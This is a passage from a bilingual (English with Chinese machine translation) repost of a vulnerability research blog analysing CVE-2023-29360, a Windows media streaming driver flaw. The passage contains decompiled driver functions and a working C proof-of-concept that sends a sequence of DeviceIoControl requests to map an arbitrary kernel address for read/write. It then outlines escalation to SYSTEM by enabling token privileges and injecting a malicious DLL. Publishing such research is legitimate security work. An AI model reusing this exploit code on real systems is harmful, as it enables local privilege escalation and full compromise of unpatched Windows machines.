      FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
      ...
      // [11]. Map the FsFrameMdl to User Memory
      result = FSFrameMdl::MapPages(
              FsFrameMdl,
              *(struct _EPROCESS **)(FsStreamReg + 0x38),
              *(struct _EPROCESS **)(FsStreamReg + 0x40),
              (struct FSMemoryStream *)(136 * v10 + data + 0x28));
      ...
      // Add FsFrameMdl to Consumed List
      FSFrameMdlList::InsertTail((FSFrameMdlList *)(FsStreamReg + 0x140), (struct FSFrameMdl *)FsFrameMdl);
      ...
    }
}

FSStreamReg::ConsumeTx checks the flag of FsStreamReg object at [9], and take out a FsFrameMdl object, which contains the manipulated MDL by this vulnerability, from the published list ([10]). Then, FSFrameMdl::MapPages is called to mapping the MDL ([11]).
FSStreamReg::ConsumeTx FsStreamReg 检查对象的标志 [9] ,然后从已发布的列表 ( [10] ) 中取出一个包含此漏洞操纵的 MDL FsFrameMdl 的对象。然后, FSFrameMdl::MapPages 调用映射 MDL ( [11] )。

In order to call FSFrameMdl::MapPages, the condition in [9] must be satisfied, which is that FsStreamReg + 0x28 and FsStreamReg + 0x2C are not be NULL. Each of the value is set in FSStreamReg::Initialize and FSStreamReg::Register, respectively.
为了调用 FSFrameMdl::MapPages ,必须满足 中的 [9] 条件,即 和 FsStreamReg + 0x28 FsStreamReg + 0x2C 不为 NULL。每个值分别设置在 FSStreamReg::Initialize 和 FSStreamReg::Register 中。

__int64 __fastcall FSStreamReg::Initialize(__int64 FsStreamReg, struct _IRP *a2, struct FSRegObjectList *a3, __int64 data, char a5)
{
  ...
  result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 320), v9, a5);
  if ( result < 0 )
    return (unsigned int)result;
  currentProc = IoGetCurrentProcess();
  result = FSRegObject::SetInitProcess((FSRegObject *)FsStreamReg, currentProc);
  if ( result < 0 )
    return (unsigned int)result;
  ...
  *(_DWORD *)(FsStreamReg + 440) = *(_DWORD *)(data + 32) << 10;
  *(_DWORD *)(FsStreamReg + 448) = *(_DWORD *)(data + 28);
  *(_DWORD *)(FsStreamReg + 152) = 1;
  *(_QWORD *)(FsStreamReg + 160) = *(_QWORD *)(data + 8);
  *(_QWORD *)(FsStreamReg + 168) = *(_QWORD *)(data + 16);
  *(_DWORD *)(FsStreamReg + 176) = *(_DWORD *)(data + 24);
  *(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
  *(_QWORD *)(FsStreamReg + 192) = 0i64;
  // [*] Set FsStreamReg + 0x28 As 1, HERE
  *(_DWORD *)(FsStreamReg + 0x28) = 1;
  *(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
  return v5;
}
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
  ...
  result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
  if ( result < 0 )
    return (unsigned int)result;
  currentProc = IoGetCurrentProcess();
  result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
  if ( result < 0 )
    return (unsigned int)result;
  *(_DWORD *)(FsStreamReg + 0x98) |= 2u;
  *(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
  // [*] Set FsStreamReg + 0x2C As 1, HERE
  *(_DWORD *)(FsStreamReg + 0x2C) = 1;
  return v4;
}

FSStreamReg::Initialize is called in FSRendezvousServer::InitializeStream, which should be called when you trigger this vulnerability as explained in the PoC section. FSStreamReg::Register is called in FSRendezvousServer::RegisterStream, which is triggered when IoControlCode is 0x2F0420.
FSStreamReg::Initialize FSRendezvousServer::InitializeStream 在触发此漏洞时应调用,如 PoC 部分所述。 FSStreamReg::Register 被调用, FSRendezvousServer::RegisterStream 在 IoControlCode 时 0x2F0420 触发。

__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
  obj = a2->Tail.Overlay.CurrentStackLocation;
  // [12]. Check obj->FileObject->FsContext2 is NULL
  if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
    return 0xC0000010;
  data = (__int64)a2->AssociatedIrp.MasterIrp;

  /**
    Validate the user data
  **/

  // call FSStreamReg::Register
  if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
    v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
  else
    v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}

However, if the obj->FileObject->FsContext2 isn’t NULL, this function immediately returns without calling FSStreamReg::Register ([12]). Because obj->FileObject->FsContext2 is already set to FSStreamReg to trigger the vulnerability, this condition will not meet. But, this condition can easily be satisfied using another handle for this device because the obj->FileObject is allocated for each handle.
但是,如果 不 obj->FileObject->FsContext2 为 NULL,则此函数会立即返回而不调用 FSStreamReg::Register ( [12] )。因为 obj->FileObject->FsContext2 已经设置为 FSStreamReg 触发漏洞,所以不会满足此条件。但是,对于此设备使用另一个句柄可以很容易地满足此条件,因为为每个句柄分配了 。 obj->FileObject

Finally, we can map the arbitrary address by this vulnerability.
最后,我们可以通过这个漏洞映射任意地址。

hDeviceClient = CreateFile(
  DeviceLink,
  GENERIC_READ | GENERIC_WRITE,
  0,
  NULL,
  OPEN_EXISTING,
  0x80,
  NULL
);

PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);

printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous

printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream

// Create Server Handle
hDeviceServer = CreateFile(
  DeviceLink,
  GENERIC_READ | GENERIC_WRITE,
  0,
  NULL,
  OPEN_EXISTING,
  0x80,
  NULL
);

printf("[+] Register Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &2 == Non ZERO
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL); // NON ZERO
// Register Stream to Server Handle
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // RegisterStream


ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt 
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt 
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx


printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/W\n");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt 
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt 
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr; // Addr
*(DWORD*)(inputBuffer + 0x6C) = 0x1000; // SIZE
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // 1,4,8
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // ComsumeTx

DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);

printf("[*] mapaddr : %p\n", mapaddr);

From here, we can use any preferred method to elevate the privilege using the given arbitrary read/write primitive.
从这里,我们可以使用任何首选方法,使用给定的任意读/写原语来提升权限。

In our 1-day full chain, we enable the privilege bit in token object and inject the malicious dll to SYSTEM privileged process to get the code execution. (You can refer Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012 for this technique.)
在我们的 1 天完整链中,我们在 token 对象中启用特权位,并将恶意 dll 注入 SYSTEM 特权进程以获取代码执行。(有关此技术,您可以参考 Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012。

More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at [email protected].
包括 PoC 和漏洞利用代码在内的更多详细信息位于 Fermium-252:网络威胁情报数据库。如果您对 Fermium-252 服务感兴趣,请 [email protected] 与我们联系。

Conclusion 结论

This post provided the analysis on CVE-2023–29360 which is exploited in our 1-day full chain demo. The next post will cover CVE-2023–34044, a VMware information leakage found by Theori(@pr0ln) which is a variant of CVE-2023–20870.
这篇文章提供了对 CVE-2023–29360 的分析,该分析在我们为期 1 天的全链演示中被利用。下一篇文章将介绍 CVE-2023–34044,这是 Theori( @pr0ln) 发现的 VMware 信息泄漏,它是 CVE-2023–20870 的变体。

Reference 参考

原文始发于Theori Vulnerability Research:Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System

版权声明:admin 发表于 2024年4月9日 下午8:29。
转载请注明:Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System | CTF导航

相关文章